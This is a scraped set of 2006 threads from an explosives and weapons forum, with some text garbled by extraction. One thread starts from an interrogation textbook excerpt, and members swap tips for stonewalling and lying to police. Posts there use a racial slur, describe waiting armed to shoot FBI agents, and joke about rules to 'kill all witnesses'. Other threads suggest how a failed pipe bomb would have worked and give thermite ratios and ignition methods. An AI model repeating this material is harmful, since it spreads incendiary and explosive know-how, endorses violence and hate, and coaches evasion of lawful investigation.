of an assumptive question called a soft accusation. Instead of the choice question, which essentially
gives an admission to what was known, the soft accusation asks for an admission that may expand the
suspect's involvement into other areas of theft or criminal activity. The following is an example of the
soft accusation.
Interrogator: "When would you say was the very first time that you took money from the
company?"
The suspect may make an admission to this question or pause to consider his response. If the
suspect pauses the interrogator will use a follow-up question to achieve the first admission.
Interrogator: "Was it your first week on the job?"

Suspect: "No!"
Interrogator: "Great, I didn't think that was the case."
The suspect now has admitted stealing money, but denied that it was the first week on the job.
The interrogator continues to develop the admission with the suspect confirming theft of cash prior
to the missing deposit. In this way the interrogator is more likely to get closer to the true scope of
the suspect's involvement in theft activity than by focusing on the single missing deposit theft of
which he was suspected. In the event that the deposit is the sole theft incident the suspect has been
involved in, he will confess to that while strongly denying other activities. The interrogator develops
the total admission with the suspect and reduces the confession to some permanent form for later
use.
There are a number of additional approaches that an interrogator could use to begin the interrogation.
These approaches vary in complexity and difficulty so the new interrogator is encouraged to
use those described previously before attempting new strategies. More information and examples on
these approaches are detailed in the textbook, Practical Aspects of Interview and Interrogation.
Backing Out
There may be instances where the suspect will not confess to the incident under investigation. The
interrogator should be prepared to back out of the interrogation without obtaining an admission.
Prior to backing out the interrogator should present the evidence discovered during the investigation.
On occasion the individual may be able to explain the evidence or provide proof of their innocence.
If the suspect cannot provide an adequate explanation for the evidence the interrogation could
continue using one of the emotional appeals. Sometimes presenting evidence at this point will cause
the suspect to confess or to lie when confronted with it, which may prove damning at some later point.
If the suspect still refuses to acknowledge his involvement after presenting the evidence, the interrogation
shifts to the suspect's knowledge or suspicion of who was involved. From there the interrogator
either will discuss the individual's suspicion or talk about why he does not believe why the
others were involved.
Another way of backing out of the interrogation is to use the behavioral interview, which allows
the suspect to begin to talk. The interrogator asks the questions included in the interview and then
slowly draws the encounter to a close.
(Copyright 2006 Elsevier Inc. All rights reserved, with copyright 2006 from Wicklander-Zulawski & Associates, reprinted with
permission of publisher.)
nbk2000 July 10th, 2006, 06:23 AM

I had corporate goons question me at my (former) job once.
I used the tried-and-true method of "I can neither confirm nor deny", "I have no knowledge of such events", and "I don't
remember".
It drove them crazy, because I didn't claim innocence, but neither did I admit guilt. :p
They tried the whole routine, but none of the techniques listed above will work if you don't give them a crack to drive their
wedge into.
Can't confront with 'Facts' when it's a heresay case, emotional appeals don't work on a psycopath (who doesn't give a shit),
and non-confrontational is moot against someone who doesn't give you anything to work with in the first place.
The whole time I was looking the nigger in the eye while he was questioning me. A continuous stare, not hardly blinking,
projecting the mental image to him through my eyes of the horrors I would inflict upon his flayed carcass given the chance.
Got to where he was avoiding my stare. :D
In the end, they gave me an administrative wrist-slap (which meant squat) just on general principle, and I continued doing
what I was doing as if nothing happened. :D
Name, rank, and serial number works for POW's being tortured, so as long as you stick to that premise, all interogaters will
quit, for they can only use against you what you yourself provide them with.
2112 July 10th, 2006, 12:26 PM

One must be careful when conversing with federal agents, or with individuals that will report your conversation to a federal
agency. Lying to such individuals is a crime if it is in connection to an investigation; it is obstruction of justice.
One of the easiest ways to make sure that you do not get charged with this crime is to respond to every question with five
words, "I have nothing to say." This is very different from saying, "I don't know," because if they are able to find out that you
did know something, even a small piece of information, they can charge you with obstruction of justice.
Examples of what can, and has happened, are available here (http://gbr.pepperdine.edu/043/lying.html).
This is one important excerpt from the link:

People have been found guilty of this crime because they lied to private contractors hired by a federal agency.[19] In April
2004, several executives at Computer Associates, the giant software company, were charged with this crime; three of them
have pleaded guilty to the charges. They did not lie to any federal agent. Instead, they were charged with making false
statements to attorneys working for Computer Associates who were conducting an internal investigation of allegations of
improper conduct within the business. Since this internal investigation concerned activities that were within the jurisdiction of
the United States, the government ass erted that lie s to th e b u s i n e s s attorneys were crimes. Prosecutors s tated that the
executives knew that their statements would be turned over to the government and because of this, they needed to tell the
truth.[20]
rsx914 July 11th, 2006, 01:44 PM

Classic Emotional
The classic emotional approach to an interrogation does not require the presentation of evidence. In
this approach it generally begins with the use of a direct accusation, which accuses the suspect of
involvement in a specific issue.
I've been here and seen this with the FBI. One of the guys, the "good cop", said his name was Jeff Ward (No, not the
motocross rider.). The "bad cop" said he was Ray Laura. It was all fun and games until Ray said,"We're the FBI, we don't
make mistakes." After which I couldn't resist asking,"What about Richard Jewel?".
Talk about a short fuse. I was instantly subjected to the odor of his noon meal and the spittle spewing from his speach
actually hit me in the cheek.
After putting up with more than three hours of interrogation I lawyered up. Said lawyer later told me,"If they really had
anything on you they wouldn't be talking to you. You'd be in jail. Period." That made me feel a whole lot better because I was
not in jail. I was still paranoid and for days I would sit in the trees with my rifle waiting for them to return up my driveway. I
feel dumb about it now, but until you are in the same situation don't pass judgement. It was literally a life altering event.
Isotoxin July 21st, 2006, 01:37 AM

I have had a small taste of the interogation although it is nothing as major as others above are talking about.
I was informed on(narced) by a fellow classmate for possesion of LSD in school and was searched and interogated by a cop
and a school person. In this case I couldn't talk my way out of it as they found blotter on my person but I didn't ever admit to
anything nor inform who sold it to me - luckily at court it turned out not to be LSD and I was free to go but only after being
arrested and being fingerprinted by computer :mad:
Secondly(and here is an example of more subtle interogation) I was trying to get into a private school and while on tour I
asked a student about the price of drugs on campus while alone with him. Apparently he informed the admissions board and
the lady that interviewed me before phoned me to stop by and talk to her again. I had something of a clue what was up and
driving there I was sweating slightly, heart rate up and generally nervous. However once I was talking to her(interogation but
somewhat relaxed) I for some reason grew more relaxed, heart rate dropped and I of course did all the body language that
shows lack of guilt(open palms resting lightly on belly/chest, relaxed posture, expressive face, eye contact, head and neck
looking up ext - thank you RS for teaching me this stuff!) The only thing I messed up on was I would do a facial emotion a
tiny bit before or after I should a few times. But in general I was good.
Anyway she told me what the student said - I denied it. We went around with that for awhile and then she tried a trick where
she said something along the lines that she knew I was just asking because I was curious and not because I had any intention
of buying any drugs. A classic trick as shown in the above text but I saw it and still denied the charges. I had already made a
good impression on her before this meeting and I tried to bolster it that time as well(it worked well considering the
circumstances!) Sadly the kid did not take back his outragous and false accusations ;) and they took it before a small group
that made the admissions board while I was away and decided I couldn't join the school(its selective so even if they thought I
would do well there they can always find better people as they dont need to grub for applicants)
Anyway I thought it was nice I was able to keep my head somewhat and do the nonverbal cues like I learned as well as I could
under stress and have my heartrate drop and all. If any of you have read Hard Rain and the related books about the
japanese hitman you might be familiar with the concept of someone with low emotional ability for secondary emotions yet not
no ablity like a psycopathic or sociopathic person(I know for sure I am not either because I have read the DSM-IV and it
doesn't fit although of course they have updated the terms but I like the older terms better anyway. Almost needless to say I
havn't the life experiance to know how I would react in the aftermath of a situation where a sociopath really shines like a
murder or warfare - I expect, by projecting much less serious examples, that I would get PTSD and feel guilty but not to the
degree of the average person. This I feel is a good thing because true sociopathy caries with it horrible impulsivity that is
disadvantagous - as NBK might say, "RTPB #4, bitch!" - basically 'Low, not no' is the catchphrase for me :)
Anyway we should all study interogation and try never to be on the wrong side of it - as it is a powerful tool just like a gun or a
legal contract. Thank you RS for helping people like me in all situations big or small when we need to lie our asses off and
further our own private goals!
Anira July 21st, 2006, 11:26 AM

I have learned that you should not accept that they have something on you.
At lunch one day my friend and I were eating in the computer room and being bored, so we started messing around with the
shared drives (there are a LOT on that network, it was shared between several campuses). I found this folder called "Destiny"
so I opened it up and to my surprise inside it was a full list of the districts students, phone numbers, addresses and the likes.
We thought hell yea, no more paper phone book for us. So we took a copy. Later the next day I for some reason- Fear of
being caught? (They watch the network logs there very closely.) I notified the admin that it was left unprotected, I know very
bad move. Anyway the next day they called me in to the office and my friend was already there. They asked me to write a
statement of what I knew so I did. Later they called me into an office and the police started interrogating me.
Wait- Don't they have to tell you your Miranda rights before they can interrogate you for legal evidence?
Anyway- They told me that I had better tell the truth or I would get slapped in handcuffs and pulled down to the station (I
already was going to tell the truth, I felt for sure they knew my involvement). So they asked me if I had a copy and I said
yes. Guess wha t? The y were like "oh. That ch a n g e s everything" and le ft the room. They did nt kno w that I wa s involved and
they had just gotten me to confess. Turns out that yes was the only piece of evidence they ever used against me. They
g a v e m e a 5 d a y s u s p e n s ion an d confiscated my computer. They didn t really co nfiscate my computer, they b lackmailed m e
into giving it to them. They said "If you don't turn over your computer we will have to press criminal charges" (Turns out what
we did might have been illegal depending on how good a lawyer we got). Moral of the story for me? Don't tell them anything.
According to the school admin "honesty is never the best policy".
rsx914 July 21st, 2006, 01:54 PM

What amazed me the most, and I know all you hard core types scoff at the suggetion of an epiphany, is that they will use
anything, even illegal methods to get you to admit even a shred of self incriminating evidence. Then they have the wedge
they need to pin you. Of course nothing is illegal if you work for the government.
Take for example the FLIR used to find in-home grow operations. They have been ruled inadmissable (Well, don't use me as
your defense. The last time I saw that they were inadmissable in court was quite a while ago. I think that was in 2002 in
Bonner County, Idaho. Things may have changed there.) unless they obtain a search warrant as they were deemed an
invasion of privacy. A search warrant may or may not tip you off to their intentions. So they go ahead and fly over your house
with the FLIR and if they suspect illegal activity then they post a stake out on you to see if they can catch you doing some
other self incriminating activity. Like selling your wares to a dealer. They never use the pictures gleaned via FLIR in court, but
they use the FLIR to find "prospects" so to speak.
I'm getting off topic here. So invoke the three "S's". Shoot 'em, shovel 'em, and shut up.
c.Tech July 22nd, 2006, 12:13 AM

A s anything you say or do can an d will be used ag ains t you in court I would prefe r to just act relaxed, give no comme nt and
d o n t say anything until a lawyer was present.
But almost certainly my parents would be called in and screw the whole thing up. They worried about getting in trouble from
what I do but if I ever got interrogated they would probably be the ones who are the cause.
lawyer later told me,"If they really had anything on you they wouldn't be talking to you. You'd be in jail. Period."
Always a good thing to remind anybody who you are involved in illegal activities with.
Also let them know a summarized more un dersta ndable (simpler) form of the methods, if their no t too bright or don t
understand many terms.
Police may also say that somebody you have been involved in illegal activities with has already admitted to the offence, most
people would probably believe them (even though they may have no evidence yet) and admit to the crime because they
believe they are caught.
Also if you say no com ment or similar to some questions you should stick with that for oth er questions. (From 2004 b o o k
Am I old enough which dis cu sses Victorian law and rights as a minor)
I was still paranoid and for days I would sit in the trees with my rifle waiting for them to return up my driveway.
Did this mean you were planning to shoot them? Not a good idea if you have murder of an officer on top of your other crimes.
nbk2000 July 22nd, 2006, 05:01 AM

Isotoxin:
In the USA, possession of materials believed by the possessor to be a controlled substance (drug) makes that material just as
illegal as the real thing, even if it turns out to be (in your case) plain blotter paper, sugar cubes, or laundry soap.
You lucked out. :)

Police may also say that somebody you have been involved in illegal activities with has already admitted to the offence, most
people would probably believe them (even though they may have no evidence yet) and admit to the crime because they
believe they are caught.
This is called fishing in English slang, I believe. The officer may either talks out of his/her heinie to make you chime in and
give a clue about your involvement or understate the case to make you admit it (e.g. if the person in question is dead, they
might tell s/he is slightly wounded and being treated in hospital).
In case of serious charges, don't look so relaxed and calm. This behaviour is also suspicious. Instead, pretending to be
panicked is better and/or playing dumb in some cases.
However, it's better to avoid being interrogated in the first place. Don't get involved anything illegal. :) Regards.
nbk2000 July 23rd, 2006, 05:39 AM

If you followed the RTPBs of "Kill all witnesses", "Kill your crime partners", and "Make sure of the kill by destroying or cutting
off the head", then the cops telling you "They're in the hospital and talking" would be an instantly transparent lie, now wouldn't
it? :)
Isotoxin July 26th, 2006, 03:58 AM

I know this to be true NBK - luckily I never admited it was LSD even when they acted like if I just came clean and told the
"truth" they would go easy on me - I suspect if I had said "Well now that you found it I guess I should just admit its acid" I
might have been convicted. Luckily I never commented on what it was at all - the cop asked if it was something that could hurt
him and I said I didn't think so.
I dont see how they could prove I thought it was anything but paper without me talking. So now I guess I have learned the
value of not talking even more! :)
Learn these lessons now in somewhat relaxed situations so I remember them forever I hope.
Thanks for pointing that aspect of the event out NBK
rsx914: You bring up a good point - I tried to tell someone on the internet about these sort of tactics by the police but he was
insistant that the cops could not do anything without reasonable suspicion - if only this were really true. From the cop's
viewpoint it makes perfect sense - in their minds they are just getting a lead on illegal activity and then building a legal case
once they know who is doing what. Too bad they are wrecking the Constitution and hurting our ability to evade conviction.
rsx914 July 26th, 2006, 08:57 PM

Did this mean you were planning to shoot them?
Yes, so it's a good thing they didn't return. I lost my job. Not a single attorney in the state (Idaho) would talk to me. I called
one in Seattle that I knew well. The FBI actually went to my wife's place of employment and tried to pidgeon hole her too.
Luckily I had called her and told her to meet me at home as soon as I got out of my interrogation so they just missed her.
Shortly after we both got home we were standing in our front yard when the FBI rolled up my driveway. Then they tried to
separate us. We deferred all questions to our attorney. They were not happy. They sure like to use intimidation.
My thinking now is that they don't care if they get the right person or not. As long as someone goes to jail and makes them
look good.

rsx, sorry for the personal question but curiosity has got the better of me.
What crime did you commit to be interviewed by the FBI and to lose your job?
If you don't feel safe posting this on a public forum you could send me a pm.
rsx914 July 29th, 2006, 03:25 PM

I lost my job becuse the FBI put pressure on my employer to assist them in their investigaton. Say you're Starbucks and the
FBI comes to you and starts asking questions about a barista. Two goons in cheap suits driving a Chevy Corsica sit at a table
next to the front door and stare at everyone who comes in and take copious notes. Do you think that's good for business? And
the FBI knows this. So you fire the barista and the FBI waits for him/her to make a mistake.
I failed to give them anything, ie: talk to "friends", spend money, throw evidence in a dumpster. My phone was tapped, I was
followed, and as I said earlier not a single attorney around would take me as a client. I was never even arrested! My home
was never searched, that I know of, so I also suspect the judge wouldn't give them a warrant. Lack of evidence? After more
than a year, they moved on to another suspect. "Ok boys, that didn't work, let's go wreck someone else's life." The HR veep
even quit apalled.
You can figure out what I was suspected of from what I've said, here and on another thread. But the important thing to see
here is that they don't play by any "rules" you, me, and everyone thinks they play by. It's not about right and wrong. It's all
about the money. Who said that anyway? He's a fucking genius.
Remember that scene in "Seven" where Morgan Freeman takes Brad Pitt to the library and gets a list of people (read
suspects), who have checked out certain books? You think that's legal? And they make Freeman's character look like some
pitiful zealot who's just doing his job. Bullshit. The real deal is more like Alec Baldwin in "Glen Garry Glen Ross". I think all cops
are A.D.D.
knowledgehungry July 30th, 2006, 12:03 PM

Unless the statute of limitations has run out for your adventures I would advise you edit your posts. I am sure that this forum
is watched, and while it is unlikely that they will be able to nail you from any of this, or will, admitting to anything, anywhere,
even in a round about way is a needless risk.

Of course, the Pigs everywhere are as corrupt as hell. They think they are above the law, once they are given their ill-fitting
shabby blue uniforms after training periods of only a few months. And the stupid things they get taught in Pig Training
Colleges! - certainly very little or no human-rights law or ethics. Those in the states of Victoria, New South Wales, and
Queensland, in Australia, and the Australian Federal Pigs and Secret Political Pigs (ASIO), are among the most corrupt of all,
along with those in Mexico, Brazil, Italy (Mussolini-worshippers), and the Republican-voting U.S. states.
The New Zealand Pigs are not much better, either. Since 1970, and especially in the last 15 years, there have been numerous
cases here where people have been deliberately framed for serious crimes they did not commit, mostly murders, by pigs
desperately seeking promotion. They routinely fake evidence, lie in Court, suppress or downplay evidence favorable to the
defense, and pay false witnesses to lie in Court. And in recent years, many pigs have faced criminal charges themselves; over
a dozen are currently being dealt with by the Court.
furdog July 31st, 2006, 09:58 PM

Well I will only say this ,when they read you your rights"You have the right to remain silent" .Thats what you need to do! I
agree with NBK2000 be like the three monkeys. You did not see a thing, you did not hear a damn thing, and your not saying a
damn thing.
He also brought up a good point! Confusion and lack of knowledge is a easy way to kill a investigation. There is no law that
says you have to give information in a case. No laws exist that requires you to give testimony inreference to anything, even if
it may or may not pertain to you.
Interesting enough with todays laws you may well find yourself involved in a conspiracy by opening your mouth. I have myself
been in Federal Court and plead the fith to keep my ass from being caught up in a conspiracy.
"Just act deaf , blind and dumb.
Jacks Complete August 3rd, 2006, 11:06 AM

Unless in the UK, where that silence can and will be used against you in court. :-(
nbk2000 August 8th, 2006, 08:23 AM

For a perfect example of what to do when confronted by cops:
http://resist.com/RacistVideos/videos/ihnts1.wmv
"I have nothing to say."

In the secret Pfizer courts, they do not have to tell you what you are charged with if the charges are classified, have a lawyer
unless they approve, and can be required to testify against yourself. You do not have to be present at the trial if classified
evidence is being presented - you aren't cleared for it. Sometimes, you might not even be told that a trial is taking place,
that's classified. Many of their rules are classified. And people tell me I am exaggerating when I ask "Did I just wake up back
in Nazi Germany?"
How soon before the authorities bring back "Nacht und Nebel"?

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Idiot
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Homemade firecracker hurts three
A 29-year-old man injured himself and his tw o daughters after he detonated a homemade firecracker on Arapahoe Avenue at 11:34 p.m., Police Chief Rich Adriaens said.
Matthew Demott allegedly packed black powder into a steel pipe to try and make his ow n Fourth of July firecracker, Adriaens said. Demott then used a cinder block to prop the
pipe up.
When Demott ignited the home-made firecracker, the cinder block disintegrated and showered pieces on the 29-year-old and his two daughters, Adriaens said. The pieces also
damaged siding and a window on the family's home.
Demott, his 9-year-old daughter, Javoni, and his 6-year-old daughter, Ashlay, received cuts, scrapes and bruises on their arms, legs and backs.
- By The News-Record staff
As quoted from http://www.gillettenewsrecord.com/articles/2006/07/05/new s/news06.txt
Stupid people shouldn't be allowed to breed.
Jack2k2 July 10th, 2006, 03:50 AM

Wow, that is unfortunate how dumb some people are.
It probably would have w orked had he used some threaded pipes and used a real cap.
Anyways though, doing something this dumb shouldn't cause injurys since most people w ould take caution by backing the Hell away from an idiot home made device as such,
but I guess that is why he is an idiot.

Ill say that goes further than idiocy, that guy is a fucking moron.
How many ordinary people know what shrapnel is? I would say more than 75%.
This guy w as 25 w hich should make him older and less ignorant than a teenage k3w l.
Also in America Im guessing people are more educated, because of the 4th of July celebrations, and how much more of they have an interest in pyrotechnics.
How big would have the steal pipe have to be to disintegrate a cinder block causing pieces to fly? He must have made a big cracker.
Even if he didnt think its too dangerous shouldnt he have moved his daughters further away just incase? I know I w ould have.
Now all these factors plus probably more w hich I havent thought of should be enough to deter people from putting themselves in a dangerous possibility deadly situation.
We all make mistakes, every one of us, but this goes beyond joke.
Stupid people like this get me really angry. This is one of the reasons that fireworks are banned in all states and territories in Australia, apart from the ACT.

I will put myself in timeout for a couple of weeks and return hopefully without the stupidity
Well, at least you returned without the stupidity - I'd call this a good post.
Stupid people like this get me really angry. This is one of the reasons that fireworks are banned in all states and territories apart from the ACT
Bingo, all the fun stuff gets banned due to what ought to qualify as "natural selection", i.e. too stupid to breed...
Bert July 10th, 2006, 01:41 PM

This gentleman should be talking to the BATFE shortly. I have little sympathy tow ards him, using metal in a device then shooting it in a residential neighborhood in front of
children qualifies him for a stay at the crow bar hotel in my book.

A homemade firecracker...?
Now I'm no explosives of bomb expert, but w ouldn't one classify a pipe stuffed with black powder as a "Pipe Bomb"? :rolleyes:
Lucky the little kids didn't get seriously hurt, it's stupid people like that; that give the rest of the people (who use professionalism & common sense) & explosives a bad name.
You w ould think a 29 year old father w ould have been a little smarter in his choice of entertainment for his two young daughters. :mad:
qualifies him for a stay at the crow bar hotel in my book.

I agree, Maybe the stay there will give him some time to think about; the danger he put his daughters in. I think, he'd rather stay behind bars than go home to his wife the
mother of the two girls ;)
Gerbil July 10th, 2006, 07:10 PM

Fool. "Firecracker" seems to be a bit of an understatement?
Having said that, I wouldn't trust him anyw here near flash powder- hopefully this might serve as a lesson. But given the utter stupidity of setting off a metal-cased device next
to his own children, perhaps it's a pity he wasn't just removed from the gene pool outright.

Now I'm no explosives of bomb expert, but w ouldn't one classify a pipe stuffed with black powder as a "Pipe Bomb"? :rolleyes:
^I shure as hell w ould.^
There are all sorts of dumb people up in Gillette Wy though. Stupid behavior is a pretty common occurance up there. A while ago a dumbass was seeing how fast he could go in
reverse in his truck on a dirt road with his pregnent wife sitting next to him. He ended up rolling his truck, killing his wife and unborn child. He is now spending a fair amount of
time in the state pen.
I guess that's what you get w ith poor education, high paying jobs that do not require an education, and stupid people perpetuating the stupidity by having 10 kids because they
know that a couple of them w ill die because of stupidity. There like rabbits.
Now, I'm not saying that stupid people have stupid kids. It just pains me when I hear about some idiot injuring or killing his kids and wonder w hy he/she even had kids when
there not going to raise them properly and put them in harms way.
knowledgehungry July 10th, 2006, 11:00 PM

Now I'm no explosives of bomb expert, but w ouldn't one classify a pipe stuffed with black powder as a "Pipe Bomb"?
Any other day than the 4th of July. On the 4th of July everything is a "firecracker", including 250 gram APAN charges ;).
Gerbil July 11th, 2006, 07:57 AM

having 10 kids because they know that a couple of them will die because of stupidity
Well, in this life there are intelligent people, and those who are not quite so gifted. http://ww w.ebaumsw orld.com/bottlebomb.html is probably the latter.
Pb1 July 15th, 2006, 02:12 AM

I guess that's what you get w ith poor education, high paying jobs that do not require an education, and stupid people perpetuating the stupidity by having 10 kids because they
know that a couple of them w ill die because of stupidity. There like rabbits.
High paying jobs? I thought stupid people usually had McJobs that payed shit. These people get their money from high-interest credit cards and banks that give out too many
loans. Not by earning it.
Yep, like rabbits. I wish the w orld weren't filled with these idiots.

This thread reminds me of a show called worlds dumbest criminals, w hich I saw at least 4 years ago. I still remember some of the stupid crimes people committed.
1 - Some guy was going to burn down a house, it was soaked in petrol.
When he w ent inside to light it he just walked out again, then in and out.
Finally he asked the police if he could get his matches that he left in his truck.
One of the officers said yes and when he was half way there they tackled and arrested him. :D how stupid.
2 - A guy w anted to break into a bank at night (why bother trying, the security being that tight w ould have lots of cameras, alarms and keep the money locked up in a strong
safe.)
Back to the point. He picked up a big cinder block threw it at the special windows w hen it just bounced back and hit him in the head.
3 - This drug dealer, so fucked up on drugs, w alked up to a police car trying to sell them some. They declined but didnt want to arrest him.
He grabbed onto their car refusing to let go until they brought drugs from him.
When they couldnt get him off they turned on their sirens and drove him all the w ay to the cop shop without him having a clue he w as being arrested.
4 - This wasnt on the show but the news or one of those media shows (today tonight, A currant affair).
It w as about 2 guys w ho robbed a security camera store. I think they were caught on 8 or 13 cameras and I dont remember them wearing balaclavas.
5 - This last one I herd on a radio station.
Someone tried to smuggle heroine in from Cambodia which he wrapped in condoms (nothing new) then he put them inside pickled fish.
How stupid can they get? He should have found out w hat foods they would ban from importing, pickled fish is an obvious.
If anybody else has some criminal stories like this I think we would all like to hear from them.
Exerd July 15th, 2006, 04:27 AM

"C'mon kids, gather closely round daddy's new giant pipe firecracker and let's celebrate!"
But honestly, w ho in the hell wants to stand anyw here near a steel pipe filled with gun powder? I thought TV had these people covered for the most part...I guess not. It's sad
that the kids had to be under the supervision of such idiotic mentality.

High paying jobs? I thought stupid people usually had McJobs that payed shit. These people get their money from high-interest credit cards and banks that give out too many
loans. Not by earning it.
Acctually Wyoming happens to be one of those states where your education is not perportional to your income. I know people who didn't even graduate high school and are
making over 100k a year.
I acctually had the pleasure of working on a w orkover oil rig (http://w ww.globalfab.com/images/gallery/showcase_large_3.jpg) for a summer job a while ago. The only test
you had to pass to get a job was a drug test. Now granted, if your stupid enough to almost loose your hand a couple of times you will get fired.
On the subject of dumb criminals. I w as reading the local paper a while ago and a stupid hippie girl called the cops and reported that somebody stole over a pound of marajuana
out of her house while she was sleeping.
I can't remeber w here I heard this one, but this guy showed up at the pig shack and tried to report that a hooker that he was having sex w ith swiped his cocane and took off
before the job was done. And he acctually expected the cops to track down and arrest the hooker because he w anted to press charges.

There is one I forgot to add. Its more funny than stupid
2 coke head robbers broke into a house. They found a vase with charlie on the front. Charlie being a street name for cocaine they decided to have a couple on lines.
Later they found out after being caught and arrested that Charlie was actually the ashes of a cremated pet dog.
There are also a number of sites I found on google.
http://ww w.funnyjunk.com/pages/dumb.htm
I dont know how many of them are true but I can single a few out.
My favorite: Colorado Springs: A guy walked into a little corner store with a shotgun and demanded all the cash from the cash drawer. After the cashier put the cash in a bag,
the robber saw a bottle of scotch that he w anted behind the counter on the shelf. He told the cashier to put it in the bag as well, but he refused and said "Because I don't
believe you are over 21." The robber said he was, but the clerk still refused to give it to him because he didn't believe him. At this point the robber took his drivers license out of
his wallet and gave it to the clerk. The clerk looked it over, and agreed that the man was in fact over 21 and he put the scotch in the bag. The robber then ran from the store
with his loot. The cashier promptly called the police and gave the name and address of the robber that he got off the license. They arrested the robber two hours later.
I remember seeing this on worlds dumbest criminals which I just found. Unfortunately it isnt as long, I remember him yelling open the fucking door at least 5 times. http://
w w w.alldumb.com/item/16265/
http://ww w.able2know.com/forums/about44781.html
http://jokes4u.mycybernet.ca/dumb01.htm
http://shopping.msn.com/prices/shp/?itemId=2437704
http://en.w ikipedia.org/w iki/America's_Dumbest_Criminals
http://ww w.humorhell.com/display-media.php?id=301
http://ww w.metacafe.com/w atch/172935/brad_pitt_a_criminal/
EDIT: http://w ww.roguesci.org/theforum/water-cooler/3616-idiot-month.html

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Therm ite Help!
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Atra July 10th, 20 06, 04:2 0 AM

I know this m u s t h a v e b e e n a s k e d a m illion tim es but thats why I'm in the water cooler. O k I've tried everything. Fe2O3 made
by e lectrolysis, vinegar-bleach even Fe 3 O 4 m ade from super fine steel wool. I know its no t my alum inum b e c a u s e t h a t m a k e s
a m azing flash powder 20g's of which left a good sized hole in a boogie b oard placed in a pool. But thats not the point the
m ixture is of the right ratios a nd is heated with a butane torch and m a n g e s i u m place on it then lit it gets to the point where its
white hot and melts but still doesn't ignite. W h a t a m I doing wro ng?
Jacks Complete July 10th, 20 06, 06:5 7 PM

W ell, yes, this is odd. I assum e you are m ixing it about 50/50 and throu ghly?
If your alum inium is ok, and your rust really is rust, and both are air-float, then it should work. It's about a s sim p l y a s
anything. It doesn't go off without extreme tem perature, it doesn't degrade over time, it's waterproof, shock inert, etc.
Just light the m a g n e s i u m ribbon and drop it on , don't heat the whole mix, btw.
Sausagemit July 10th, 20 06, 08:3 7 PM

If you have any KMnO4 and glycerin lying around you could try a 10/4/3 ratio of iron oxide (Fe203), KMnO 4, and Al
resp ectively. Do not mix the KMnO4 in with the thermite though. Sim ply m a k e a d e p r e s s i o n i n t h e t h e r m i t e a n d g e n t l y p o o r
t h e K M n O 4 i n t h e d e p r e s s ion. T h e n w h e n y o u re ready to ignite it, poor s o m e glycerin on t h e K M n O 4 a n d s t a n d b ack. And if it
still doesn't ignite I really don't know what to tell you.
Or if you want to give up on therm ite, go to your local arts and crafts store and pick up som e plaster of paris (CaSO 4). Mix it
6/4-CaSO4/AL by weight respectively. And this m ixture is castable. Sim p l y a d d s o m e water, poor it into a m old, then bake it
for quite a while at 200-250 deg F. Wh ile not as hot as thermite, it is mu ch brighter and can be ignited with a propane torch
just as long a s y o u re careful (ie , h e a t f r o m t h e s i d e a n d n e v e r f r o m abov e ) a n d w e a r s o m e welder s go ggles s o a s n o t t o
d a m age your eyeballs.
I h a v e a l s o h e a r d o f m ixing MgSO4 in with this mix but I have n ot tried it yet as I have not been able to find a working ratio
on the net. And you would have to bake it at a higher tem p because MgSO4 is highly hygroscopic and to bake out the water it
would have to bake a t around 450 deg F.
Atra July 10th, 20 06, 09:2 9 PM

Thank you. Actually the Potassium Perm a n g a n a t e w a s m y n e x t i d e a I j u s t o r d e r e d s o m e . I ' d r a t h e r not sim ply give up on
therm i t e b e c a u s e i t s e e m s t o h a v e b e c o m e t h e b a n e o f m y existance as the flash powder and sm o k e b o m b s a n d A P a l l
worked very well but somethin g as sim ple as therm ite e v a d e s m y limited expertise. The o nly thing I can think of is that the
m a g n e s i u m I've been using is large pieces not strips we pile them up an d it does get white hot but that could be it. I'll see if
t h e P e r m a n g anate works. And d o e s a n y o n e k n o w i f t h e p o t a s s i u m nitrate sucrose reaction gets hot enough to light thermite
b e c a u s e t h a t d o e s m e l t a l u m inum I learned that the hard way.
Jack2k2 July 10th, 20 06, 09:5 4 PM

Another idea would to be igniting the mixture with a High Am perage arc.
U s u a l l y t h e M a g n e s i u m should work, so it m ay well be that your Iron O xide is not correct. Anyways, a High Am perage arc can
be easily obtained from a Microwave oven transform er(MO T). Th ey usually can run off 120v 15a, and output 2kv at 500-
1 0 0 0 m A. Unfortunate ly since they are low voltage, the 2 outputs m ust be within a sm all distance (m atter of a few m illim eters)
to arc across the gap. However this tiny arc will be extrem ely hot and bright. So if you could bring a MOT ou t to where you are
doin g the thermite and stick the outpu ts into the pile of therm ite, it should ignite, just use long thick gauged wire going from
the m ots to the pile of therm ite to make sure the therm ite doesn't destroy the m ots as well.
Also, careful with the MOT's are quite lethal. (30m A is usually enough to fibrilate a heart, 500m A can do qu ite a lot m ore.)
Jacks Complete July 11th, 20 06, 07:0 2 AM

Hm m. It's incredibly unlikely that the rust is bad!
the m a g n e s i u m I've been using is large pieces not strips we pile them up and it does get white hotThis is probably where the
issue lies. Is your m a g n e s i u m burning brightly white and under it's own power? It should be a very bright white light, blindingly
intense, and self-supporting once lit. If it doesn't, your m a g n e s i u m is probably aluminium !
nbk2000 July 11th, 20 06, 09:1 3 AM

Firework sparklers never fail to light it, if buried well into it. :)
Atra July 12th, 20 06, 04:2 5 PM

No, the m a g n e s i u m is plenty bright. W e put a bunch of pieces on, and it gets really hard to look at, and yo u have to stand
back. Like I said, it gets hot enough to get the m ixture white ho t and m elt the alum inum and iron oxide into a solid thing.
A l t h o u g h I d o l i k e J a c k 2 k 2 ' s i d e a p u r e l y b e c a u s e i t s o u n d s c o o l , b u t I k n ow m y rust is right because what e lse could it be with
stee l wool in bleach a nd vineg a r a n d a l u m i n u m works good enough for flash so should be fine for thermite. Also, th e
m a g n e s i u m is definately not alum inum . You can't burn large pieces of aluminum very easily and they're not white hot.
However, I was wondering if sausage m e a t s i d e a f o r t h e a l u m i n u m a n d p l a s t e r o f p a r i s i d e a w o u l d b e h o t e nough to light
therm ite.
Alexires July 14th, 20 06, 12:3 4 AM

Jack s C o m plete - I've actually found that m a g n e s i u m ribbon will only burn for 10 or so centim etres (about 4 inches) before it
g o e s o u t . I f y o u a r e u s i n g m a g n e s i u m ribbon, I'd suggest crum bling it into flakes, then lighting that on top of the therm ite,
which would hopefully give a h igher temperature and m ore reliability.
Sparklers ARE really good for lighting things. Break the powder off the sp arklers and that burns pretty hot (and fast).
Randel January 12th , 2 0 0 7 , 1 0 : 0 1 P M

How nice it is to find an answe r to stupid blur on tv. Mythbusters just did thing with thermite and se t it off by using two
